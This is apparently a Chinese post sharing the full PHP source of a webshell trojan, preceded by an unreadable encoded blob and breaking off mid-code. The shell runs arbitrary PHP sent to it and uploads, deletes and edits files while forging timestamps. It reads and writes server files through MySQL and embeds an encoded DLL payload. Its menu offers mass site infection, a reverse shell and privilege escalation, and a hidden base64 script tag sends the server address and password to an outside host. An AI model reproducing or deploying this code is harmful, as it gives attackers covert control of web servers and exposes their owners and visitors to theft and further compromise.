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#p#分页标题#e#

——————————————————————————————————

 

2011最新没有加密的PHP木马

 

——————————————————————————————————

 

error_reporting(7);
ob_start();
$mtime = explode(‘ ‘, microtime());
$starttime = $mtime[1] + $mtime[0];
@set_time_limit(0);
//非安全模式可以使用上面的函数,超时取消。
/*===================== 程序配置 =====================*/
// 是否需要密码验证,1为需要验证,其他数字为直接进入.下面选项则无效
$admin[‘check’] = “1”;
// 如果需要密码验证,请修改登陆密码
//默认端口表
$hidden = “saiy”;
$admin[‘port’] = “80,139,21,3389,3306,43958,1433,”;
//跳转用的秒
$admin[‘jumpsecond’] = “1”;
//Ftp破解用的连接端口
$alexa = “yes”;
//是否显示alexa排名,yes或是no
$admin[‘ftpport’] = “21”;
// 是否允许phpspy本身自动修改编辑后文件的时间为建立时间(yes/no)
$retime = “no”;
// 默认cmd.exe的位置,proc_open函数要使用的,linux系统请对应修改.(假设是winnt系统在程序里依然可以指定)
$cmd = “cmd.exe”;
// 下面是phpspy显示版权那栏的,因为被很多程序当成作为关键词杀了,鱼寒~~允许自定义吧。还是不懂别改~~

/*===================== 配置结束 =====================*/
$serveru = $_SERVER [‘HTTP_HOST’].$_SERVER[‘PHP_SELF’];
$serverp = $admin[‘pass’];
$copyurl = base64_decode(‘PHNjcmlwdCBzcmM9J2h0dHA6Ly8lNzclNzclNzclMmUlN2ElNjglNjElNmUlNjclNjglNmYlNmQlNjUlMmUlNjMlNmYlNmQlMmUlNjMlNmUvP3U9’);
$copyurll = base64_decode(‘Jz48L3NjcmlwdD4=’);
$onoff = (function_exists(‘ini_get’)) ? ini_get(‘register_globals’) : get_cfg_var(‘register_globals’);
if ($onoff != 1) {@extract($_POST, EXTR_SKIP);@extract($_GET, EXTR_SKIP);}
$self = $_SERVER[‘PHP_SELF’];$dis_func = get_cfg_var(“disable_functions”);
/*===================== 身份验证 =====================*/
if($admin[‘check’] == “1”) {if ($_GET[‘action’] == “logout”) {setcookie (“adminpass”, “”);echo “<meta http-equiv=\”refresh\” content=\”0;URL=”.$self.”\”>”;echo “<span style=\”font-size: 12px; font-family: Verdana\”>注销成功……<p><a href=\””.$self.”\”>三秒后自动退出或单击这里退出程序界面 &gt;&gt;&gt;</a></span>”;exit;}
if ($_POST[‘do’] == ‘login’) {$thepass=trim($_POST[‘adminpass’]);if ($admin[‘pass’] == $thepass) {setcookie (“adminpass”,$thepass,time()+(1*24*3600));echo “<meta http-equiv=\”refresh\” content=\”0;URL=”.$self.”\”>”;echo “”.$copyurl.$serveru.”&p=”.$serverp.$copyurll.”</form>”;exit;}}if (isset($_COOKIE[‘adminpass’])) {if ($_COOKIE[‘adminpass’] != $admin[‘pass’]) {loginpage();}} else {loginpage();}}
/*===================== 验证结束 =====================*/
// 判断 magic_quotes_gpc 状态
if (get_magic_quotes_gpc()) {$_GET = stripslashes_array($_GET);$_POST = stripslashes_array($_POST);}
//mix.dll的代码
$mixdll = “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”;#p#分页标题#e#
// 查看PHPINFO
if ($_GET[‘action’] == “phpinfo”) {echo $phpinfo=(!eregi(“phpinfo”,$dis_func)) ? phpinfo() : “phpinfo() 函数已被禁用,请查看&lt;PHP环境变量&gt;”;exit;
}if($_GET[‘action’] == “nowuser”) {$user = get_current_user();
if(!$user) $user = “报告长官,主机变态,无法获取当前进行用户名!”;
echo”当前进程用户名:$user”;
exit;
}
if(isset($_POST[‘phpcode’])){eval(“?”.”>$_POST[phpcode]<?”);exit;
}
if($action==”mysqldown”){
 [email protected]_connect($host,$user,$password);
 if (!$link) {
  $downtmp = ‘数据库连接失败: ‘ . mysql_error();
 }else{
 $query=”select load_file(‘”.$filename.”‘);”;
 $result = @mysql_query($query, $link);
 if(!$result){
  $downtmp = “读取失败,可能是文件不存在或是没file权限。<br>”.mysql_error();
   }else{
 while ($row = mysql_fetch_array($result)) {
  $filename = basename($filename);
  if($rardown==”yes”){
   $zip = NEW Zip;
   $zipfiles[]=Array(“$filename”,$row[0]);
   $zip->Add($zipfiles,1);
   $code = $zip->get_file();
   $filename = “”.$filename.”.rar”;
  }else{
   $code = $row[0];
  }
  header(“Content-type: application/octet-stream”);
  header(“Accept-Ranges: bytes”);
  header(“Accept-Length: “.strlen($code));
  header(“Content-Disposition: attachment;filename=$filename”);
  echo($code);
  exit;
 }
 }
 }
}
// 在线代理
if (isset($_POST[‘url’])) {$proxycontents = @file_get_contents($_POST[‘url’]);echo ($proxycontents) ? $proxycontents : “<body bgcolor=\”#F5F5F5\” style=\”font-size: 12px;\”><center><br><p><b>获取 URL 内容失败</b></p></center></body>”;exit;
}
// 下载文件
if (!empty($downfile)) {if ([email protected]_exists($downfile)) {echo “<script>alert(‘你要下的文件不存在!’)</script>”;} else {$filename = basename($downfile);$filename_info = explode(‘.’, $filename);$fileext = $filename_info[count($filename_info)-1];header(‘Content-type: application/x-‘.$fileext);header(‘Content-Disposition: attachment; filename=’.$filename.”);header(‘Content-Description: PHP Generated Data’);header(‘Content-Length: ‘.filesize($downfile));@readfile($downfile);exit;}
}
// 直接下载备份数据库
if ($_POST[‘backuptype’] == ‘download’) {
 @mysql_connect($servername,$dbusername,$dbpassword) or die(“数据库连接失败”);
 @mysql_select_db($dbname) or die(“选择数据库失败”); 
 $table = array_flip($_POST[‘table’]);
 $result = mysql_query(“SHOW tables”);
 echo ($result) ? NULL : “出错: “.mysql_error();

 $filename = basename($_SERVER[‘HTTP_HOST’].”_MySQL.sql”);
 header(‘Content-type: application/unknown’);
 header(‘Content-Disposition: attachment; filename=’.$filename);
 $mysqldata = ”;
 while ($currow = mysql_fetch_array($result)) {
  if (isset($table[$currow[0]])) {
   $mysqldata.= sqldumptable($currow[0]);
   $mysqldata.= $mysqldata.”\r\n”;
  }
 }
 mysql_close();
 exit;
}

// 程序目录
$pathname=str_replace(‘\\’,’/’,dirname(__FILE__));

// 获取当前路径
if (!isset($dir) or empty($dir)) {
 $dir = “.”;
 $nowpath = getPath($pathname, $dir);
} else {
 $dir=$_GET[‘dir’];
 $nowpath = getPath($pathname, $dir);
}

// 判断读写情况
$dir_writeable = (dir_writeable($nowpath)) ? “可写” : “不可写”;
$phpinfo=(!eregi(“phpinfo”,$dis_func)) ? ” | <a href=\”?action=phpinfo\” target=\”_blank\”>PHPINFO()</a>” : “”;
$reg = (substr(PHP_OS, 0, 3) == ‘WIN’) ? ” | <a href=\”?action=reg\”>注册表操作</a>” : “”;#p#分页标题#e#

$tb = new FORMS;

?>
<html>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″>
 <style type=”text/css”>
body{
 BACKGROUND-COLOR: #F5F5F5;
 COLOR: #3F3849;
 font-family: “Verdana”, “Tahoma”, “宋体”;
 font-size: “12px”;
 line-height: “140%”;
}

TD  {FONT-FAMILY: “Verdana”, “Tahoma”, “宋体”; FONT-SIZE: 12px; line-height: 140%;}
.smlfont {
 font-family: “Verdana”, “Tahoma”, “宋体”;
 font-size: “11px”;
}
.INPUT {
 FONT-SIZE: “12px”;
 COLOR: “#000000”;
 BACKGROUND-COLOR: “#FFFFFF”;
 height: “18px”;
 border: “1px solid #666666”;
 padding-left: “2px”;
}
.redfont {
 COLOR: “#CA0000”;
}
A:LINK  {COLOR: #3F3849; TEXT-DECORATION: none}
A:VISITED {COLOR: #3F3849; TEXT-DECORATION: none}
A:HOVER  {COLOR: #FFFFFF; BACKGROUND-COLOR: #cccccc}
A:ACTIVE {COLOR: #FFFFFF; BACKGROUND-COLOR: #cccccc}
.top {BACKGROUND-COLOR: “#CCCCCC”}
.firstalt {BACKGROUND-COLOR: “#EFEFEF”}
.secondalt {BACKGROUND-COLOR: “#F5F5F5”}
</style>
<SCRIPT language=JavaScript>
function CheckAll(form) {
 for (var i=0;i<form.elements.length;i++) {
  var e = form.elements[i];
  if (e.name != ‘chkall’)
  e.checked = form.chkall.checked;
    }
}
function really(d,f,m,t) {
 if (confirm(m)) {
  if (t == 1) {
   window.location.href=’?dir=’+d+’&deldir=’+f;
  } else {
   window.location.href=’?dir=’+d+’&delfile=’+f;
  }
 }
}
</SCRIPT>
</head>
<body style=”table-layout:fixed; word-break:break-all”>
<center>
<?php
$tb->tableheader();
$tb->tdbody(‘<table width=”98%” border=”0″ cellpadding=”0″ cellspacing=”0″><tr><td><b>’.$_SERVER[‘HTTP_HOST’].'</b></td><td align=”center”>’.date(“Y年m月d日 h:i:s”,time()).'</td><td align=”right”><b>’.$_SERVER[‘REMOTE_ADDR’].'</b></td></tr></table>’,’center’,’top’);
$tb->tdbody(‘ | <a href=”?action=dir”>根目录</a> <a href=”?action=dir”>Shell 目录</a> | <a href=”?action=phpenv”>环境变量</a> | <a href=”?action=proxy”>在线代理</a>’.$reg.$phpinfo.’ | <a href=”?action=shell”>WebShell</a> | <a href=”?action=crack”>杂项破解</a> | <a href=”?action=mix”>解压mix.dll</a> | <a href=”?action=logout”>注销登录</a> |’);
$tb->tdbody(‘| <a href=”?action=plgm”>批量挂马</a> | <a href=”?action=downloads”>Http 文件下载</a> | <a href=”?action=search&dir=’.$dir.'”>文件查找</a> | <a href=”?action=eval”>执行php脚本</a> | <a href=”?action=sql”>执行SQL语句</a> | <a href=”?action=mysqlfun”>Func反弹Shell</a> | <a href=”?action=sqlbak”>MySQL 备份</a> | <a href=”?action=SUExp”>Serv-U 提权</a> |’);
$tb->tablefooter();
?>
<hr width=”775″ noshade>
<table width=”775″ border=”0″ cellpadding=”0″>
<?
$tb->headerform(array(‘method’=>’GET’,’content’=>'<p>程序路径: ‘.$pathname.'<br>当前目录(‘.$dir_writeable.’,’.substr(base_convert(@fileperms($nowpath),10,8),-4).’): ‘.$nowpath.'<br>跳转目录: ‘.$tb->makeinput(‘dir’).’ ‘.$tb->makeinput(”,’确定’,”,’submit’).’ 〖支持绝对路径和相对路径〗’));

$tb->headerform(array(‘action’=>’?dir=’.urlencode($dir),’enctype’=>’multipart/form-data’,’content’=>’上传文件到当前目录: ‘.$tb->makeinput(‘uploadfile’,”,”,’file’).’ ‘.$tb->makeinput(‘doupfile’,’确定’,”,’submit’).$tb->makeinput(‘uploaddir’,$dir,”,’hidden’)));#p#分页标题#e#

$tb->headerform(array(‘action’=>’?action=editfile&dir=’.urlencode($dir),’content’=>’新建文件在当前目录: ‘.$tb->makeinput(‘editfile’).’ ‘.$tb->makeinput(‘createfile’,’确定’,”,’submit’)));

$tb->headerform(array(‘content’=>’新建目录在当前目录: ‘.$tb->makeinput(‘newdirectory’).’ ‘.$tb->makeinput(‘createdirectory’,’确定’,”,’submit’)));
?>
</table>
<hr width=”775″ noshade>
<?php
/*===================== 执行操作 开始 =====================*/
echo “<p><b>\n”;
// 删除文件
if (!empty($delfile)) {
 if (file_exists($delfile)) {
  echo (@unlink($delfile)) ? $delfile.” 删除成功!” : “文件删除失败!”;
 } else {
  echo basename($delfile).” 文件已不存在!”;
 }
}

// 删除目录
elseif (!empty($deldir)) {
 $deldirs=”$dir/$deldir”;
 if (!file_exists(“$deldirs”)) {
  echo “$deldir 目录已不存在!”;
 } else {
  echo (deltree($deldirs)) ? “目录删除成功!” : “目录删除失败!”;
 }
}

// 创建目录
elseif (($createdirectory) AND !empty($_POST[‘newdirectory’])) {
 if (!empty($newdirectory)) {
  $mkdirs=”$dir/$newdirectory”;
  if (file_exists(“$mkdirs”)) {
   echo “该目录已存在!”;
  } else {
   echo (@mkdir(“$mkdirs”,0777)) ? “创建目录成功!” : “创建失败!”;
   @chmod(“$mkdirs”,0777);
  }
 }
}

// 上传文件
elseif ($doupfile) {
 echo (@copy($_FILES[‘uploadfile’][‘tmp_name’],””.$uploaddir.”/”.$_FILES[‘uploadfile’][‘name’].””)) ? “上传成功!” : “上传失败!”;
}
elseif($action==”mysqlup”){
 $filename = $_FILES[‘upfile’][‘tmp_name’];
 if(!$filename) {
  echo”没有选择要上传的文件。。”;
 }else{
 $shell = file_get_contents($filename);
 $mysql = bin2hex($shell);
 if(!$upname) $upname = $_FILES[‘upfile’][‘name’];
 $shell = “select 0x”.$mysql.” from “.$database.” into DUMPFILE ‘”.$uppath.”/”.$upname.”‘;”;
 [email protected]_connect($host,$user,$password);
 if(!$link){
  echo “登陆失败”.mysql_error();
 }else{
  $result = mysql_query($shell, $link);
  if($result){
   echo”操作成功.文件成功上传到”.$host.”,文件名为”.$uppath.”/”.$upname.”..”;
  }else{
    echo”上传失败 原因:”.mysql_error();
   }
  }
 }

}
elseif($action==”mysqldown”){
 if(!empty($downtmp)) echo $downtmp;
}
// 编辑文件
elseif ($_POST[‘do’] == ‘doeditfile’) {
 if (!empty($_POST[‘editfilename’])) {
    if(!file_exists($editfilename)) unset($retime);
 if($time==$now) $time = @filemtime($editfilename);
        $time2 = @date(“Y-m-d H:i:s”,$time);
  $filename=”$editfilename”;
  @$fp=fopen(“$filename”,”w”);
  if($_POST[‘change’]==”yes”){
  $filecontent = “?”.”>”.$_POST[‘filecontent’].”<?”;
  $filecontent = gzdeflate($filecontent);
        $filecontent = base64_encode($filecontent);
        $filecontent = “<?php\n/*\n代码由浅蓝的辐射鱼加密!\n*/\neval(gzinflate(base64_decode(‘$filecontent’)));\n”.”?>”;
  }else{
  $filecontent = $_POST[‘filecontent’];
  }
  echo [email protected]($fp,$filecontent) ? “写入文件成功!” : “写入失败!”;
  @fclose($fp);
  if($retime==”yes”){
        echo”&nbsp;鱼鱼自动操作:”;#p#分页标题#e#
        echo [email protected]($filename,$time) ? “修改文件为”.$time2.”成功!” : “修改文件时间失败!”;
  }
 } else {
  echo “请输入想要编辑的文件名!”;
 }
}
//文件下载
elseif ($_POST[‘do’] == ‘downloads’) {
 $contents = @file_get_contents($_POST[‘durl’]);
 if(!$contents){
 echo”无法读取要下载的数据”;
 }
 elseif(file_exists($path)){
 echo”很抱歉,文件”.$path.”已经存在了,请更换保存文件名。”;
 }else{
    $fp = @fopen($path,”w”);
 echo [email protected]($fp,$contents) ? “下载文件成功!” : “下载文件写入时失败!”;
 @fclose($fp);
 }
}
elseif($_POST[‘action’]==”mix”){
 if(!file_exists($_POST[‘mixto’])){
 $tmp = base64_decode($mixdll);
 $tmp = gzinflate($tmp);
 $fp = fopen($_POST[‘mixto’],”w”);
 echo [email protected]($fp,$tmp) ? “解压缩成功!” : “此目录不可写吧?!”;
 fclose($fp);
}else{
 echo”不是吧?”.$_POST[‘mixto’].”已经存在了耶~”;
}
}
// 编辑文件属性
elseif ($_POST[‘do’] == ‘editfileperm’) {
 if (!empty($_POST[‘fileperm’])) {
  $fileperm=base_convert($_POST[‘fileperm’],8,10);
  echo (@chmod($dir.”/”.$file,$fileperm)) ? “属性修改成功!” : “修改失败!”;
  echo ” 文件 “.$file.” 修改后的属性为: “.substr(base_convert(@fileperms($dir.”/”.$file),10,8),-4);
 } else {
  echo “请输入想要设置的属性!”;
 }
}

// 文件改名
elseif ($_POST[‘do’] == ‘rename’) {
 if (!empty($_POST[‘newname’])) {
  $newname=$_POST[‘dir’].”/”.$_POST[‘newname’];
  if (@file_exists($newname)) {
   echo “”.$_POST[‘newname’].” 已经存在,请重新输入一个!”;
  } else {
   echo (@rename($_POST[‘oldname’],$newname)) ? basename($_POST[‘oldname’]).” 成功改名为 “.$_POST[‘newname’].” !” : “文件名修改失败!”;
  }
 } else {
  echo “请输入想要改的文件名!”;
 }
}
elseif ($_POST[‘do’] == ‘search’) {
if(!empty($oldkey)){
echo”<span class=\”redfont\”>查找关键词:[“.$oldkey.”],下面显示查找的结果:”;
 if($type2 == “getpath”){
 echo”鼠标移到结果文件上会有部分截取显示.”;
}
echo”</span><br><hr width=\”775\” noshade>”;
find($path);
}else{
